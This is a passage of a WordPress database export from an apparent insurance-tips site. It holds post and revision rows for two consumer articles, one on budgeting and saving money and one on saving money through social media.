automatically transferred into your savings account every month.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-46\">Shop Smart and Live Frugally</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-47\">Plan weekly menus and meal-prepping around inexpensive, nutritious foods, and draw your shopping list directly from these menus. Try to avoid running to the store multiple times a week by designating one day a week as your shopping day. When that day rolls around, take your list to a local discount market, and stick to the list.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-49\">Clip paper coupons to redeem at grocery stores, drugstores, restaurants, and more, or try using one of the many available coupon apps to take page flipping and scissors out of the equation.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-51\">Shop for clothes, furniture, and toys at garage sales, thrift stores, and vintage shops, but spring for new mattresses, upholstered furniture, swimsuits, underwear, bike helmets, shoes, and the like. Never buy these latter types of items used.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-53\">Attempt to spend money only when it\'s really necessary. For example, use your local library for books instead of cluttering up your space with expensive tomes that you\'ll probably only read once, if at all.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-55\">Spend Money To Save Money</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-56\">This advice may sound like an oxymoron, but many real-life examples can point the way to you saving some serious bucks. For example, take your car in for scheduled maintenance, and don\'t skip your six-month dental cleaning and checkup. These preventive strategies may be painful to your pocket, but deferring maintenance—whether for yourself personally or on items you own—could lead to a lot more pain and expenses down the road.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-58\">Frequently Asked Questions (FAQs)</h2>\n<!-- /wp:heading -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">What is the purpose of a budget?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Budgeting helps you to make a plan for your financial life and track how well you\'re sticking to that plan. Instead of wondering where your money went at the end of the month, you can make a proactive plan for how you want to use it to attain financial freedom and independence rather than getting trapped in debt.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">How do I stick to a budget?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>People have trouble sticking to their budgets for a variety of reasons, so getting on track will depend on your particular struggles. It could be that your budget is unrealistic or that your budgeting process is too cumbersome, or it could be that you need motivators to help you improve your self-control. Try to figure out where the problem lies so you can address it with the appropriate solution.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">How do you budget money on a low income?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Many budgeting principles apply regardless of your income level. However, a lower income can present challenges for fitting all of the essentials in. As usual, the place to start is to review all of your expenses and compare them to your income. Then, you can begin making decisions about where to cut spending. If you\'re still having trouble making the budget work, you may want to explore additional ways to bring money in. Finally, if you\'re struggling to make ends meet, consider options for rental assistance, help with utilities, or debt counseling.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article, <a href=\"https://www.thebalancemoney.com/how-to-budget-and-save-money-in-5-easy-steps-4056838\">click here.</a></p>\n<!-- /wp:paragraph -->','Strategies for Budgeting and Saving Money','','publish','closed','closed','','strategies-for-budgeting-and-saving-money','','','2024-04-29 04:33:36','2024-04-29 04:33:36','',0,'https://smartinsurance.tips/?p=3963',0,'post','',0),(3964,1,'2024-04-29 04:32:11','2024-04-29 04:32:11','','Untitled-14','','inherit','closed','closed','','untitled-14-4','','','2024-04-29 04:32:11','2024-04-29 04:32:11','',3963,'http://smartinsurance.tips/wp-content/uploads/2024/04/Untitled-14.png',0,'attachment','image/png',0),(3965,1,'2024-04-29 04:33:35','2024-04-29 04:33:35','<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":3964,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/04/Untitled-14-1024x1024.png\" alt=\"\" class=\"wp-image-3964\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0\">Budgeting and saving money don\'t come naturally to many people for obvious reasons. Spending money on nonessentials is so easy, even if you\'re committed to a well-laid spending plan.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-2\">Still, getting on track with a realistic budget and squirreling money away may not be as difficult as you think. Begin by taking the time to create a budget, which can help you reorganize your finances, prioritize spending, and manage debt, thus allowing you to make progress toward your long-term financial goals.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-4\">Make a Classic Budget</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-5\">Budgeting your money is the cornerstone of a sound financial plan, and seeing all of the numbers in black and white can offer valuable perspective on where your money is going and where you could put it to better use.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-7\">A budget can help you spot areas where you\'re spending more than you realize. It can also be set up to allow for the occasional indulgence as well as unforeseen emergencies. You have lots of reasons to set aside a few hours to build a classic budget, especially when you can do it in four practically painless steps.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol id=\"mntl-sc-block_1-0-9\"><!-- wp:list-item -->\n<li><strong>Gather into one place all of your electronic or paper bills, receipts, pay stubs, bank statements&nbsp;</strong>and any other record of income or expenses for at least a month. Or keep track of monthly income and expenditures as they happen.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Create a budget worksheet</strong>, using a budget template from Google Sheets, an Excel spreadsheet, or paper and pen. List all of your income after taxes—for example, employee and freelance income, investment income, and interest earned on any savings accounts. Then list all expenses—for example, rent or mortgage payments, credit card payments, installment loan payments, grocery receipts and utility bills.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Add up each set of figures,</strong>&nbsp;and subtract the expense total from the income total to get a general picture of your financial health. If your income total is larger than your expense total—congratulations—you just found more money for saving, investing and paying down your debt. If your expense total is larger than your income total, all is not lost, but you\'ll have to make some choices about where you spend some of your money going forward if you want to balance your budget.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Drill down into your expenses</strong>&nbsp;and further categorize them into fixed, variable and discretionary expenses.&nbsp;<em>Fixed expenses&nbsp;</em>(such as your rent) remain the same from month to month and thus often constitute the basis of your budget.&nbsp;<em>Variable expenses,&nbsp;</em>such as utility bills, can typically be lowered with behavioral tweaks like turning off the lights as you leave a room, and&nbsp;<em>discretionary expenses</em>&nbsp;consist of wants rather than needs and provide the most opportunities for saving.</li>\n<!-- /wp:list-item --></ol>\n<!-- /wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-11\">Adopt the 50-20-30 Approach</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-12\">You have alternatives if you don\'t want to make a classic budget. For example, you could consider structuring your plan according to the<strong> </strong>50-20-30 rule. Under this approach to budgeting, you spend:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul id=\"mntl-sc-block_1-0-14\"><!-- wp:list-item -->\n<li>50% of your after-tax income on housing, food, and other necessities</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>20% on paying down debt or increasing savings</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>30% on whatever you want—discretionary spending</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-16\">Although this plan is simple, some critics say that it allows too much discretionary spending and doesn\'t emphasize debt reduction or savings enough.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-18\">Use Apps</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-19\">Another alternative to a classic budget is a budget app that can be downloaded to your phone, tablet, or computer. You generally link your app of choice to your checking and credit card accounts, and the app tracks your spending and generates a monthly report by spending category.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-21\">Budget apps can often be set up to alert you when a payment is coming due, when an account balance is getting too low, or if there\'s suspicious activity in your account. The cost of most apps ranges from zero to several dollars a month, although some offer free introductory periods so that you can try before you buy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-23\">Put Your Budget to Work</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-24\">Once you figure out how much money you\'re spending and where you\'re in a better position, take the necessary steps to put your financial future front and center.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-26\">Reduce Spending</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-27\">Start by cutting spending on items you don\'t need. For example, do you need a $5 coffee every morning? Could you make do with a smaller, older car? Instead of an expensive vacation, would you be willing to try a stay-at-home vacation (\"staycation\")?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-29\">These types of choices are very personal, so there\'s no right or wrong answer. But laying them out on the table can at least help you understand your priorities and some of the options you might not have realized you had for saving money.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-31\">Get a Handle on Your Debt</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-32\">One aspect that seems to come with adulthood is accumulating some form of debt. Credit cards, student loans, car loans and mortgage payments are common types of debt. Credit cards and other forms of debt can be an essential part of your financial toolbox because they build your credit history, but you should exercise care when using them. Understanding the difference between good debt and bad debt can go a long way toward making sure you use credit wisely and maintain a good credit history.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-34\">At the same time, you should always look for ways to make your debt less expensive while you\'re paying it off. Transferring your credit card balances to a card with a 0% APR or refinancing your student loans, for example, could reduce the amount you pay in interest charges and accelerate your debt payoff plans.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-36\">To build wealth, you have to start somewhere. The ability to save money is essential, but the first step in saving is spending less than you earn. This point may seem obvious, but it\'s often more easily said than done. Fortunately, even if your budget doesn\'t allow much wiggle room, dozens of ways to save money are available.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-38\">Reduce Your Tax Burden</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-39\">Nobody likes paying taxes, but they\'re an important aspect of any financial plan. Even if you don\'t make much money, you might be surprised to learn how certain tax strategies and decisions can affect your finances.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-41\">Learning how to minimize the impact of taxes on your finances can ensure that more money is going into your pocket and moving you toward your financial goals. Tax planning includes claiming all of the deductions and tax credits you\'re eligible for, and maximizing contributions to tax-advantaged accounts, such as an employer\'s 401(k) plan, an IRA, or a Health Savings Account (HSA), as often as possible.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-43\">Set Up Automatic Savings</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-44\">One of the best and most convenient paths toward wealth accumulation is to sign up for automatic savings. Open a savings account, and then link your checking account to it so that an affordable, fixed amount is automatically transferred into your savings account every month.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-46\">Shop Smart and Live Frugally</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-47\">Plan weekly menus and meal-prepping around inexpensive, nutritious foods, and draw your shopping list directly from these menus. Try to avoid running to the store multiple times a week by designating one day a week as your shopping day. When that day rolls around, take your list to a local discount market, and stick to the list.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-49\">Clip paper coupons to redeem at grocery stores, drugstores, restaurants, and more, or try using one of the many available coupon apps to take page flipping and scissors out of the equation.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-51\">Shop for clothes, furniture, and toys at garage sales, thrift stores, and vintage shops, but spring for new mattresses, upholstered furniture, swimsuits, underwear, bike helmets, shoes, and the like. Never buy these latter types of items used.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-53\">Attempt to spend money only when it\'s really necessary. For example, use your local library for books instead of cluttering up your space with expensive tomes that you\'ll probably only read once, if at all.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-55\">Spend Money To Save Money</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-56\">This advice may sound like an oxymoron, but many real-life examples can point the way to you saving some serious bucks. For example, take your car in for scheduled maintenance, and don\'t skip your six-month dental cleaning and checkup. These preventive strategies may be painful to your pocket, but deferring maintenance—whether for yourself personally or on items you own—could lead to a lot more pain and expenses down the road.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-58\">Frequently Asked Questions (FAQs)</h2>\n<!-- /wp:heading -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">What is the purpose of a budget?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Budgeting helps you to make a plan for your financial life and track how well you\'re sticking to that plan. Instead of wondering where your money went at the end of the month, you can make a proactive plan for how you want to use it to attain financial freedom and independence rather than getting trapped in debt.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">How do I stick to a budget?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>People have trouble sticking to their budgets for a variety of reasons, so getting on track will depend on your particular struggles. It could be that your budget is unrealistic or that your budgeting process is too cumbersome, or it could be that you need motivators to help you improve your self-control. Try to figure out where the problem lies so you can address it with the appropriate solution.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">How do you budget money on a low income?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Many budgeting principles apply regardless of your income level. However, a lower income can present challenges for fitting all of the essentials in. As usual, the place to start is to review all of your expenses and compare them to your income. Then, you can begin making decisions about where to cut spending. If you\'re still having trouble making the budget work, you may want to explore additional ways to bring money in. Finally, if you\'re struggling to make ends meet, consider options for rental assistance, help with utilities, or debt counseling.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article, <a href=\"https://www.thebalancemoney.com/how-to-budget-and-save-money-in-5-easy-steps-4056838\">click here.</a></p>\n<!-- /wp:paragraph -->','Strategies for Budgeting and Saving Money','','inherit','closed','closed','','3963-revision-v1','','','2024-04-29 04:33:35','2024-04-29 04:33:35','',3963,'https://smartinsurance.tips/?p=3965',0,'revision','',0),(3966,1,'2024-04-29 04:38:08','2024-04-29 04:38:08','<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":3967,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/04/Untitled-15-1024x1024.png\" alt=\"\" class=\"wp-image-3967\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:paragraph -->\n<p>Social media is a daily distraction, but not many people know they can use Twitter, Pinterest, YouTube and other channels to save money. That’s right, you can use your break-time scrolling to find deals and resources to keep your expenses down.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Embrace high-tech frugality with these 11 ways to save money using social media.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\"><strong>Find deals on Twitter</strong></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>You can gain early access to deals and discounts by following companies on Facebook and Twitter. Connect with airlines or bulk ticket buyers and watch for promo codes to save extra. Cheap Tickets (@cheaptickets) once tweeted a deal for 18% off participating hotel stays. Some companies post deals exclusive to social media. Some are brand specific, like @ClifBar or @Quaker. Others, such as @MoneyTalksNews or @DealsCollege, compile deals and send out Tweets of special sales at Macy’s and other well-known department stores. Follow your favorite restaurants to be the first to hear about limited-time money-saving promotions.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\"><strong>Look for giveaways on social media</strong></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>First, a scam alert. No airline is going to give away free plane tickets if you repost or reply to something your friend shared on Facebook, and grocery stores aren’t handing out $50 coupons or gift cards on social media. But do look for the verified, official company accounts on Twitter, Instagram and Facebook and follow them for deals and giveaways.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\"><strong>Ask for discounts by tweeting</strong></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>If you are looking for a deal on a specific item, don’t wait. Tweet or post a note to the company, outlining your need. I wanted to buy an electric lawn mower and had my eye on a particular brand and model. I tweeted to a distributor and asked if there were any discounts available. I received 10% off the price and free shipping from the distributor — and I love the lawn mower.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Do you have a beef with a company? Let your followers know, and include a hashtag or Twitter name of the company in question. Sometimes the bird with the loudest squawk gets the worm. But be respectful.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\"><strong>Search for deal-related hashtags</strong></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Be pennywise and pound sign savvy. The pound sign is now dubbed the “hashtag” and is a favorite of Twitter followers and Instagram users – and it often leaks into Facebook and LinkedIn conversations. It lumps posts into categories. Typing in generic words like “coupon” or “promo” can bring up countless ways to save.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\"><strong>Become a DIY&nbsp; master with YouTube and Pinterest</strong></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>You can save money by doing things yourself. YouTube is loaded with how-to videos that allow you to spend less on DIY home repair. And while you might not get the in-depth instructions you would in a YouTube how-to video, you will save money and discover some unique ideas for home décor and organization ideas with step-by-step visuals on Pinterest. You can find just about anything from turning an old cabinet into a coffee table, to cool wall art and frame ideas, to a gazillion uses for Mason jars. Twitter feeds will alert you to posts on DIY sites, so start following your favorites.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\"><strong>Get recipe ideas and save by eating at home</strong></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>While recipe sites are a staple on the Internet, on Pinterest you can create boards of recipes you want to try, as well as keep track of tried-and-true meal ideas. If you’re anything like me (a magazine recipe clipper who puts ideas in a folder and forgets about them), Pinterest might be a more effective way to keep track of go-to meals. Making meals at home equals more money in the bank, since it’s cheaper to cook from scratch than to order takeout or dine out.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\"><strong>Use Pinterest to plan parties on a budget</strong></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Pinterest is the place for party planning. While you may not have the time or patience to create the extravagant theme parties that some pinners do, you can still score some fabulous and frugal ideas for party décor, favors, clever food buffets, gifts and more. If you have to plan a baby or bridal shower or a kid’s birthday party, do a search, and you’re sure to find some inspiration.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\"><strong>Barter and borrow</strong></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Join Facebook groups in your local area dedicated to buying, selling and swapping — or Buy Nothing groups devoted to no-cost merchandise — to acquire the things you need on the cheap. When the guitar-playing son of one Living on the Cheap expert wanted to try out an upright bass, she posted her need on Facebook. One of her Facebook friends had one, and her son was able to borrow it for a few weeks instead of signing a costly rental contract. Another friend routinely lists items she has for sale on Facebook and Twitter. She sold a vintage Hoosier cabinet and handmade stained glass napkin holders without leaving her home. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Whatever you’re looking to buy, someone online might be able to offer it to you for free or at secondhand prices, saving you a bundle over purchasing items new.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\"><strong>Exercise at home</strong></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>If you cut your gym membership out of your budget, you can scour Pinterest for tons of workouts you can do at home for every fitness level and goal. These moves go hand in hand with motivational quotes to keep you fit and focused.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\"><strong>Follow financial experts on social media</strong></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>You can find many great money-savings ideas, coupons and tips from some of the top money minds and companies online. A few pin-worthy favorites are The Krazy Koupon Lady and Living on the Cheap, of course.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Or, follow well-known savings experts such as Suze Orman (@SuzeOrmanShow) and Dave Ramsey (@DaveRamsey) on Twitter and Facebook for daily tips and motivation. SmartyPig.com (@SmartyPig) lets you share your savings goals with friends and family on Twitter, and they can contribute to your cause.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\"><strong>Find tips on scholarships and college saving through Twitter</strong></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>If you’ve got kids, you’re already thinking about how to save for college, whether they’re 6 or 16. Twitter has you covered with money-saving advice and financial aid information.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>529 College Savings Plans tweets tips and tools for saving for college under the Twitter name @529forCollege. Scholarship America (@ScholAmerica) gives updates on available scholarships and financial aid. Type a hashtag in front of a keyword, such as scholarship, textbooks or college, and look for discussions about specific institutions or benefactors.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article, <a href=\"https://livingonthecheap.com/10-ways-save-social-media/\">click here.</a></p>\n<!-- /wp:paragraph -->','11 Ways to Save Money Using Social Media','','publish','closed','closed','','11-ways-to-save-money-using-social-media','','','2024-04-29 04:38:09','2024-04-29 04:38:09','',0,'https://smartinsurance.tips/?p=3966',0,'post','',0),(3967,1,'2024-04-29 04:36:08','2024-04-29 04:36:08','','Untitled-15','','inherit','closed','closed','','untitled-15-4','','','2024-04-29 04:36:08','2024-04-29 04:36:08','',3966,'http://smartinsurance.tips/wp-content/uploads/2024/04/Untitled-15.png',0,'attachment','image/png',0),(3968,1,'2024-04-29 04:38:08','2024-04-29 04:38:08','<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":3967,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/04/Untitled-15-1024x1024.png\" alt=\"\" class=\"wp-image-3967\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:paragraph -->\n<p>Social media is a daily distraction, but not many people know they can use Twitter, Pinterest, YouTube and other channels to save money. That’s right, you can use your break-time scrolling to find deals and resources to keep your expenses down.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Embrace high-tech frugality with these 11 ways to save money using social media.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\"><strong>Find deals on Twitter</strong></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>You can gain early access to deals and discounts by following companies on Facebook and Twitter. Connect with airlines or bulk ticket buyers and watch for promo codes to save extra. Cheap Tickets (@cheaptickets) once tweeted a deal for 18% off participating hotel stays. Some companies post deals exclusive to social media. Some are brand specific, like @ClifBar or @Quaker. Others, such as @MoneyTalksNews or @DealsCollege, compile deals and send out Tweets of special sales at Macy’s and other well-known department stores. Follow your favorite restaurants to be the first to hear about limited-time money-saving promotions.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\"><strong>Look for giveaways on social media</strong></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>First, a scam alert. No airline is going to give away free plane tickets if you repost or reply to something your friend shared on Facebook, and grocery stores aren’t handing out $50 coupons or gift cards on social media. But do look for the verified, official company accounts on Twitter, Instagram and Facebook and follow them for deals and giveaways.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\"><strong>Ask for discounts by tweeting</strong></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>If you are looking for a deal on a specific item, don’t wait. Tweet or post a note to the company, outlining your need. I wanted to buy an electric lawn mower and had my eye on a particular brand and model. I tweeted to a distributor and asked if there were any discounts available. I received 10% off the price and free shipping from the distributor — and I love the lawn mower.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Do you have a beef with a company? Let your followers know, and include a hashtag or Twitter name of the company in question. Sometimes the bird with the loudest squawk gets the worm. But be respectful.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\"><strong>Search for deal-related hashtags</strong></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Be pennywise and pound sign savvy. The pound sign is now dubbed the “hashtag” and is a favorite of Twitter followers and Instagram users – and it often leaks into Facebook and LinkedIn conversations. It lumps posts into categories. Typing in generic words like “coupon” or “promo” can bring up countless ways to save.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\"><strong>Become a DIY&nbsp; master with YouTube and Pinterest</strong></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>You can save money by doing things yourself. YouTube is loaded with how-to videos that allow you to spend less on DIY home repair. And while you might not get the in-depth instructions you would in a YouTube how-to video, you will save money and discover some unique ideas for home décor and organization ideas with step-by-step visuals on Pinterest. You can find just about anything from turning an old cabinet into a coffee table, to cool wall art and frame ideas, to a gazillion uses for Mason jars. Twitter feeds will alert you to posts on DIY sites, so start following your favorites.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\"><strong>Get recipe ideas and save by eating at home</strong></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>While recipe sites are a staple on the Internet, on Pinterest you can create boards of recipes you want to try, as well as keep track of tried-and-true meal ideas. If you’re anything like me (a magazine recipe clipper who puts ideas in a folder and forgets about them), Pinterest might be a more effective way to keep track of go-to meals. Making meals at home equals more money in the bank, since it’s cheaper to cook from scratch than to order takeout or dine out.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\"><strong>Use Pinterest to plan parties on a budget</strong></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Pinterest is the place for party planning. While you may not have the time or patience to create the extravagant theme parties that some pinners do, you can still score some fabulous and frugal ideas for party décor, favors, clever food buffets, gifts and more. If you have to plan a baby or bridal shower or a kid’s birthday party, do a search, and you’re sure to find some inspiration.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\"><strong>Barter and borrow</strong></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Join Facebook groups in your local area dedicated to buying, selling and swapping — or Buy Nothing groups devoted to no-cost merchandise — to acquire the things you need on the cheap. When the guitar-playing son of one Living on the Cheap expert wanted to try out an upright bass, she posted her need on Facebook. One of her Facebook friends had one, and her son was able to 